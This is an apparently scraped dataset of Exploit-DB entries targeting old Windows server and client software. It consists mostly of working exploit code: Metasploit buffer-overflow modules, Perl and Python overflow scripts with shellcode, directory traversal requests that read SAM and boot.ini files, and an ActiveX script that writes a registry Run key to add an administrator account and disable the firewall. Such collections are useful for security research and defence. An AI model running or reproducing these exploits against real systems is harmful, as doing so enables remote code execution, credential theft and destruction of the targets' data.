deardaniel/secdata-raw huggingface dataset:
Exploit-DB #41672
Description: SysGauge 1.5.18 - SMTP Validation Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-02-28
Author: Metasploit

Exploit:
#
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
#

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::TcpServer

  Rank = NormalRanking

  def initialize()
    super(
      'Name'           => 'SysGauge SMTP Validation Buffer Overflow',
      'Description'    => %q{
        This module will setup an SMTP server expecting a connection from SysGauge 1.5.18
        via its SMTP server validation. The module sends a malicious response along in the
        220 service ready response and exploits the client, resulting in an unprivileged shell.
      },
      'Author'         =>
      [
        'Chris Higgins', # msf Module -- @ch1gg1ns
        'Peter Baris'    # Initial discovery and PoC
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
      [
        [ 'EDB', '41479' ],
      ],
      'DefaultOptions' =>
      {
        'EXITFUNC' => 'thread'
      },
      'Payload'        =>
      {
        'Space' => 306,
        'BadChars' => "\x00\x0a\x0d\x20"
      },
      'Platform'  => 'win',
      'Targets'       =>
      [
        [ 'Windows Universal',
          {
            'Offset' => 176,
            'Ret'    => 0x6527635E # call esp # QtGui4.dll
          }
        ]
      ],
      'Privileged'    => false,
      'DisclosureDate' => 'Feb 28 2017',
      'DefaultTarget' => 0
      )
    register_options(
      [
      OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]),
      ])
  end

  def on_client_connect(c)
    # Note here that the payload must be split into two parts.
    # The payload gets jumbled in the stack so we need to split
    # and align to get it to execute correctly.
    sploit =  "220 "
    sploit << rand_text(target['Offset'])
    # Can only use the last part starting from 232 bytes in
    sploit << payload.encoded[232..-1]
    sploit << rand_text(2)
    sploit << [target.ret].pack('V')
    sploit << rand_text(12)
    sploit << make_nops(8)
    # And the first part up to 232 bytes
    sploit << payload.encoded[0..231]
    sploit << "ESMTP Sendmail \r\n"

    print_status("Client connected: " + c.peerhost)
    print_status("Sending payload...")

    c.put(sploit)
  end

end
Exploit-DB #19540
Description: T. Hauck Jana Server 1.0/1.45/1.46 - Directory Traversal
Type: remote
Platform: windows
Date: 1999-10-08
Author: Jason Lutz

Exploit:
source: https://www.securityfocus.com/bid/699/info


The Jana webserver is susceptible to directory traversal attacks using multiple dots in the URL. If the request is made in specific formats, the server will send out files outside of the intended webroot. 


http&nbsp;://target/./.././.././.././win.ini
or
http&nbsp;://target/....../autoexec.bat
Exploit-DB #20829
Description: T. Hauck Jana Server 1.45/1.46 - Hex Encoded Directory Traversal
Type: remote
Platform: windows
Date: 2001-05-07
Author: neme-dhc

Exploit:
source: https://www.securityfocus.com/bid/2703/info

It is possible for a remote user to traverse the directories of a host running Jana Server. Submitting a specially crafted URL using hex encoded 'double dot' sequences will reveal arbitrary directories. In addition to revealing directories, this vulnerability could enable a user to obtain the contents of files readable by the webserver user. 

www.example.com/%2e%2e/%2e%2e/

www.example.com/%2e%2e/%2e%2e/filename
Exploit-DB #16822
Description: TABS MailCarrier 2.51 - SMTP EHLO Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: mailcarrier_smtp_ehlo.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'TABS MailCarrier v2.51 SMTP EHLO Overflow',
			'Description'	=> %q{
					This module exploits the MailCarrier v2.51 suite SMTP service.
				The stack is overwritten when sending an overly long EHLO command.
			},
			'Author' 	    => [ 'Patrick Webster <patrick[at]aushack.com>' ],
			'License'       => MSF_LICENSE,
			'Version'       => '$Revision: 9179 $',
			'References'    =>
			[
				[ 'CVE', '2004-1638' ],
				[ 'OSVDB', '11174' ],
				[ 'BID', '11535' ],
				[ 'URL', 'http://milw0rm.com/exploits/598' ],
			],
			'Platform'      => ['win'],
			'Arch'		    => [ ARCH_X86 ],
			'Privileged'		=> true,
			'DefaultOptions'	=>
				{
					'EXITFUNC' 	=> 'thread',
				},
			'Payload' =>
				{
					'Space'			=> 300,
					'BadChars' 		=> "\x00\x0a\x0d:",
					'StackAdjustment'	=> -3500,
				},
			'Targets' =>
				[
					# Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.
					[ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63	} ], # jmp esp expsrv.dll w2ksp0 - xpsp1
					[ 'Windows XP SP2 - EN', 		  { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en
				],
			'DisclosureDate' => 'Oct 26 2004',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(25),
				Opt::LHOST(), # Required for stack offset
			], self.class)
	end

	def check
		connect
		banner = sock.get_once(-1,3)
		disconnect

		if (banner =~ /ESMTP TABS Mail Server for Windows NT/)
			return Exploit::CheckCode::Appears
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect

		sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)
		sploit << [target['Ret']].pack('V') + payload.encoded

		sock.put(sploit + "\r\n")

		handler
		disconnect
	end

end
Exploit-DB #16459
Description: Talkative IRC 0.4.4.16 - Response Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: talkative_response.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Talkative IRC v0.4.4.16 Response Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Talkative IRC v0.4.4.16.
				When a specially crafted response string is sent to a client,
				an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'OSVDB', '64582'],
					[ 'BID', '34141' ],
					[ 'URL', 'http://milw0rm.com/exploits/8227' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x20\x0d",
					'StackAdjustment'  => -3500,
					'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
					'DisableNops' => 'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP3 English',	{ 'Ret' => 0x72d1146b } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 17 2009',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ])
			], self.class)
	end

	def on_client_connect(client)
		res = ":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n"
		client.put(res)
	end

	def on_client_data(client)
		return if ((p = regenerate_payload(client)) == nil)

		sploit = ":" + rand_text_alpha_upper(272) + Rex::Arch::X86.jmp_short(6)
		sploit << rand_text_alpha_upper(2) + [target.ret].pack('V') + payload.encoded
		sploit << " PRIVMSG " + rand_text_alpha(rand(10) + 1)
		sploit << " : /FINGER " + rand_text_alpha(rand(10) + 1) + ".\r\n"

		client.put(sploit)

		handler
		service.close_client(client)
	end

end
Exploit-DB #19537
Description: teamshare teamtrack 3.0 - Directory Traversal
Type: remote
Platform: windows
Date: 1999-10-02
Author: rain forest puppy

Exploit:
source: https://www.securityfocus.com/bid/689/info

TeamTrack 3.00 has a built-in webserver which is meant to be used during the evaluation period, or until IIS or Netscape Enterprise/FastTrack is installed. This server does not filter out requested paths containing the ../ sequence. Because of this, an attacker can specify a file outside of the normal web file structure. The name and relative path (from the web root) of the file must be known by the attacker.

Requesting the following URL from the TeamTrack server will display the contents of the target's SAM file: (NT only)
http ://target.com/../../../../../winnt/repair/sam._
Exploit-DB #4060
Description: TEC-IT TBarCode - OCX ActiveX Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2007-06-12
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------------------
 <b>TEC-IT TBarCode OCX ActiveX Control (TBarCode7.ocx v. 7.0.2.3524) "SaveImage()" Remote Arbitrary File Overwrite</b>
 url: http://www.tec-it.com/asp/main/startfr.asp?LN=1

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.
-----------------------------------------------------------------------------------------------------------------

<object classid='clsid:D8541765-F6D2-4EE1-AEAA-4016BE1D9859' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.SaveImage "c:\windows\system_.ini", 1, 1, 1, 1, 1
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/21 - TEC-IT TBarCode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/21 - TEC-IT TBarCode")
   End If 
 End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-06-12]
Exploit-DB #9660
Description: Techlogica HTTP Server 1.03 - Arbitrary File Disclosure
Type: remote
Platform: windows
Date: 2009-09-14
Author: ThE g0bL!N

Exploit:
#!/usr/bin/perl -w
#By ThE g0bL!N
#Download : http://www.softpedia.com/get/Internet/Servers/WEB-Servers/Techlogica-HTTP-Server.shtml
#Happy Ramadan And Happy eid
use LWP::Simple;
use LWP::UserAgent;
print "\tTechlogica HTTP Server 1.03 Arbitrary File Disclosure Exploit\n";
if(@ARGV < 3)
{
&help; exit();
}
sub help()
{
print "[X] Usage : perl $0  IP Port File\n";
print "[X] Example : perl $0 127.0.0.1 80 boot.ini\n";
}
($TargetIP, $AttackedPort, $TargetFile) = @ARGV;
print("Please Wait ! Connecting To The Server ......\n\n");
sleep(5);
print("          ******************************\n");
print("          *             Status         *\n");
print("          ******************************\n");
print("Loading ........................................\n\n\n");
$temp="/";
my $boom = "http://" . $TargetIP . ":" . $AttackedPort . $temp . $TargetFile;
print("Exploiting .....>    |80\n");
$Disclosure=get $boom;
if($Disclosure){
print("\n\n\n\n............File Contents Are Just Below...........\n");
print("$Disclosure \n");
}
else
{
print(" Not Found !!!\n\n");
exit;
}

# milw0rm.com [2009-09-14]
Exploit-DB #23365
Description: TelCondex SimpleWebserver 2.13.31027 build 3289 - Directory Traversal
Type: remote
Platform: windows
Date: 2003-11-10
Author: nimber@designer.ru

Exploit:
source: https://www.securityfocus.com/bid/8998/info

It has been reported that SimpleWebserver may be prone to a directory traversal vulnerability that may allow an attacker to gain access to sensitive information. The issue presents itself due to insufficient sanitization of user-supplied input. An attacker may traverse outside the server root directory by using '.../' character sequences.

TelCondex SimpleWebserver version 2.13.31027 build 3289 is reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/.../.../test.txt
Exploit-DB #4357
Description: Telecom Italy Alice Messenger - Remote Registry Key Manipulation
Type: remote
Platform: windows
Date: 2007-09-03
Author: rgod

Exploit:
<!--
04.50 20/08/2007
Telecom Italy Alice Messenger Hp.Revolution.RegistryManager.dll (v.1)
remote arbitrary registry key manipulation

I mean this one:
http://aiuto.alice.it/offerte/messenger/installazione.html

this was 0day for a while, but ... who knows?
the new version suggests to remove this dll, you know telecom guy, because it sucks...

Object Safety report:

RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data

rgod.
http://retrogod.altervista.org
-->
<html>
<object classid='clsid:19092490-676B-4C06-A158-34F1CD2DE517' id='HPRevolutionRegistryManager' /></OBJECT>
<script language='vbscript'>
group="HKEY_LOCAL_MACHINE"
section="SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
key="sun-tzu"
valType=1 'REG_SZ
value="""c:\windows\system32\cmd.exe"" /c net user sun tzu /add & net localgroup Administrators sun /add & sc config SharedAccess start= disabled & net stop SharedAccess & sc config TlntSvr start= auto & net start TlntSvr & echo whatthefuck(!) & pause" 'you meretrix...
HPRevolutionRegistryManager.WriteRegistry group ,section ,key ,valType ,value 'die of miserable death mommy
</script>
</html>

# milw0rm.com [2007-09-03]
Exploit-DB #23066
Description: Tellurian TftpdNT 1.8/2.0 - 'Filename' Buffer Overrun
Type: remote
Platform: windows
Date: 2003-08-27
Author: storm

Exploit:
source: https://www.securityfocus.com/bid/8505/info

A vulnerability has been discovered in Tellurian TftpdNT that could allow a remote attacker to execute arbitrary code. The problem likely occurs due to insufficient bounds checking when handling user-supplied filenames. As a result, it may be possible for an attacker to corrupt internal process memory, ultimately allowing for the execution flow of the program to be controlled.

This vulnerability is said to affect Tullerian TftpdNT 2.0 and earlier. 

 #!/usr/bin/perl -w
 #Tellurian TFTP Server buffer overflow vulnerability

 use IO::Socket;
 $host = "192.168.1.44";
 $port = "69";

 $shellcode = "\x90\xCC\x90\x90\x90\x90\x8B\xEC\x55\x8B\xEC\x33\
 \xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\
 \xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\
 \x45\xFE\x65\xB8\xC3\xAF\x01\x78\x50\x8D\x45\xF8\x50\xFF\x55\xF4\x5F";

 $buf = "\x00\x02";
 $buf .= "\x41"x(508-length($shellcode));
 $buf .= $shellcode;
 $buf .= "\x0F\x02\xC7"; # EIP
 $buf .= "\x00\x6E\x65\x74\x61\x73\x63\x69\x69\x00";

 print "Length: ", length($buf), "\n";

 $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
 $@\n";
 $ipaddr = inet_aton($host) || $host;
 $portaddr = sockaddr_in($port, $ipaddr);
 send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send: $!\n";
 print "Done\n";
Exploit-DB #50638
Description: TermTalk Server 3.24.0.2 - Arbitrary File Read (Unauthenticated)
Type: remote
Platform: windows
Date: 2022-01-05
Author: Fabiano Golluscio

Exploit:
# Exploit Title: TermTalk Server 3.24.0.2 - Arbitrary File Read (Unauthenticated)
# Date: 03/01/2022
# Exploit Author: Fabiano Golluscio @ Swascan
# Vendor Homepage: https://www.solari.it/it/
# Software Link: https://www.solari.it/it/solutions/other-solutions/access-control/
# Version: 3.24.0.2
# Fixed Version: 3.26.1.7
# Reference: https://www.swascan.com/solari-di-udine/

POC

curl http://url:port/file?valore=../../../../WINDOWS/System32/drivers/etc/hosts
Exploit-DB #16741
Description: Texas Imperial Software WFTPD 3.23 - SIZE Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-06-22
Author: Metasploit

Exploit:
##
# $Id: wftpd_size.rb 9583 2010-06-22 19:11:05Z todb $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Texas Imperial Software WFTPD 3.23 SIZE Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in the SIZE verb in
				Texas Imperial's Software WFTPD 3.23.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9583 $',
			'References'     =>
				[
					[ 'CVE', '2006-4318' ],
					[ 'OSVDB', '28134' ],
					[ 'BID', '19617' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform' 		  => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 Pro SP4 English',			{ 'Ret' => 0x7c2d3028 } ],
					[ 'Windows XP Pro SP1 English',				{ 'Ret' => 0x77dd1595 } ],
					[ 'Windows XP Pro SP2 English',           { 'Ret' => 0x77d498ec } ],
				],
			'DisclosureDate' => 'Aug 23 2006',
			'DefaultTarget' => 0))
	end

	def exploit
		connect_login

		sploit =  "/" + make_nops(525 - payload.encoded.length)
		sploit << payload.encoded + [target.ret].pack('V')

		print_status("Trying target #{target.name}...")

		send_cmd(['SIZE', sploit], false)
		select(nil,nil,nil,2)

		handler
		disconnect
	end

end
Exploit-DB #10542
Description: TFTP Server 1.4 - Remote Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2009-12-18
Author: Molotov

Exploit:
#!/usr/bin/env python
#  This vuln is already owned by Muts ,
#  but i want to add the second methode
#  Note: we don't have more space for shellcode or Skape egghunter (23 bytes only) after SEH option
# I used the jump_back because is the best and easiest way for exploiting a SEH overwrite option
#
# Reference:
# http://www.exploit-db.com/exploits/5314
#

import sys
from socket import *

if (len(sys.argv) != 2):
    print "Usage:\t%s [target]" % sys.argv[0]
    sys.exit(0)

host = sys.argv[1]
port = 69

print "TFTP SERVER Buffer Overflow remote exploit "
print "Coded By Molotov - Moroccans Hackers"

# calc
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x53\x4b\x38\x4e\x57"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x58"
"\x4f\x45\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x48\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x44"
"\x4b\x38\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x56\x4b\x58\x42\x44\x42\x43\x45\x48\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x44\x4e\x30\x4b\x38\x42\x47\x4e\x41\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x56\x4e\x33\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x45\x4a\x56\x50\x37\x4a\x4d\x44\x4e\x43\x37\x4a\x56\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x46"
"\x4e\x56\x43\x56\x42\x30\x5a")

pad0x1 = 'A' * 400 # jumping the 0x00 monster :s
pad0x2 = 'A' * (1487 -len(shellcode)-400)
jump_back = '\xE9\xC1\xFB\xFF\xFF' # fly fly baby 
Short_jump = '\xEB\xf9\x90\x90' 
return_addr = '\x2b\x0e\x41\x00' # universal

mode = 'netascii'
payload = pad0x1 + shellcode + pad0x2 + jump_back + Short_jump + return_addr

Packet = "\x00\x02" + payload + "\0" + mode +"\0"

try:
    s = socket(AF_INET,SOCK_DGRAM)
    try:
        s.sendto(Packet, (host, port))
        print "[+] Sending the evil packet !!!"
    except:
        print "[-] send() error !"
    print "[+] Done "
except:
    print "[x] Socket() error!"
Exploit-DB #30026
Description: TFTP Server TFTPDWin 0.4.2 - Directory Traversal
Type: remote
Platform: windows
Date: 2007-05-11
Author: Digital Defense

Exploit:
source: https://www.securityfocus.com/bid/23937/info

TFTP Server TFTPDWIN is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue allows an attacker to gain read/write access to privileged directories and files.

TFTP Server TFTPDWIN 0.4.2 is vulnerable; other versions may also be affected. 

../../../boot.ini
../../boot.ini
../../../boot.ini
../../../../boot.ini
../../../../../boot.ini
../../../../../../boot.ini
../../../../../../../boot.ini
../../../../../../../../boot.ini